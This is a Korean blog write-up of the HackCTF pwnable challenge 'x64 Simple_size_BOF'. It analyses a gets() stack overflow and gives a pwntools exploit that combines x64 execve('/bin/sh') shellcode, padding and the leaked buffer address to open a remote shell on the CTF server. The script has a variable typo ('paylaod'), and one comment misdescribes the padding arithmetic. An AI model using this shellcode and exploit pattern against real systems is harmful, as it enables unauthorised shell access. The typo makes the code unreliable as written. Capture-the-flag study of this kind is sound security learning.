tmxklab
[HackCTF/Pwnable] x64 Simple_size_BOF 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3005
1) 접속
- 이상한(?) 문자열과 buf의 주소 값으로 보이는 문자열이 출력되면서 종료
2) IDA(Pseudocode)확인 - main()
- puts()를 통해 s변수에 저장된 문자열을 표준 출력으로 보냄
- printf()를 통해 main()에서 초기화되지 않고 선언된 v4변수의 주소 값을 출력
- gets()를 통해 표준 입력으로 들어온 문자열을 v4에 저장 -> bof 취약점 존재
2. 접근방법
1) 스택구조(main)
- gets()를 사용하여 bof공격을 통해 ret의 주소 변조가능
- v4의 변수에 쉘 코드를 삽입하여 ret의 주소를 v4의 시작 주소로 변경해야함
2) v4의 시작주소
- v4의 시작주소를 넣어 보려하지만 실행할 때마다 v4의 주소가 변경됨
- 하지만, 위에 main()의 코드를 보면 실행시 v4의 주소를 먼저 출력하고 gets()를 실행
- 따라서, 실행 시 출력되는 v4의 주소를 사용하면 됨
3) 결론
- gets()를 사용하여 bof공격을 통해 v4의 변수에 쉘 코드를 삽입 후 ret의 주소를 v4의 시작주소로 변경
- 이때, 프로그램을 실행할 떄마다 v4의 주소가 변경되므로 화면에 출력되는 v4의 주소를 이용하여 공격
3. 풀이
1) 공격 코드 작성
from pwn import * # pwntools모듈
# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3005)
# "buf: "까지 데이터를 받아옴
p.recvuntil("buf: ")
# "buf: "다음에 출력된 v4의 주소는 총 14bytes이므로
# 16진수로 표현된 14bytes만큼 받아서 십진수로 변환
v4_addr = int(p.recv(14), 16)
# 64bit용 쉘 코드
payload = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
# v4[ebp-27,952]에서 ret까지 총 27,960bytes
# 27,960bytes에 위에 쉘 코드 주소의 길이(23bytes)를 뺀 만큼 더미 값을 채워줌
payload += "A" * 27937
# 마지막으로 ret의 주소에 v4의 주소를 덮음
payload += p64(v4_addr)
p.sendline(paylaod)
# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()
2) 공격실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] Offset (0) | 2020.01.27 |
---|---|
[HackCTF/Pwnable] Simple_Overflow_ver_2 (0) | 2020.01.27 |
[HackCTF/Pwnable] x64 Buffer Overflow (0) | 2020.01.27 |
[HackCTF/Pwnable] 내 버퍼가 흘러 넘친다!! (0) | 2020.01.27 |
[HackCTF/Pwnable] Basic_FSB (0) | 2020.01.27 |
Comments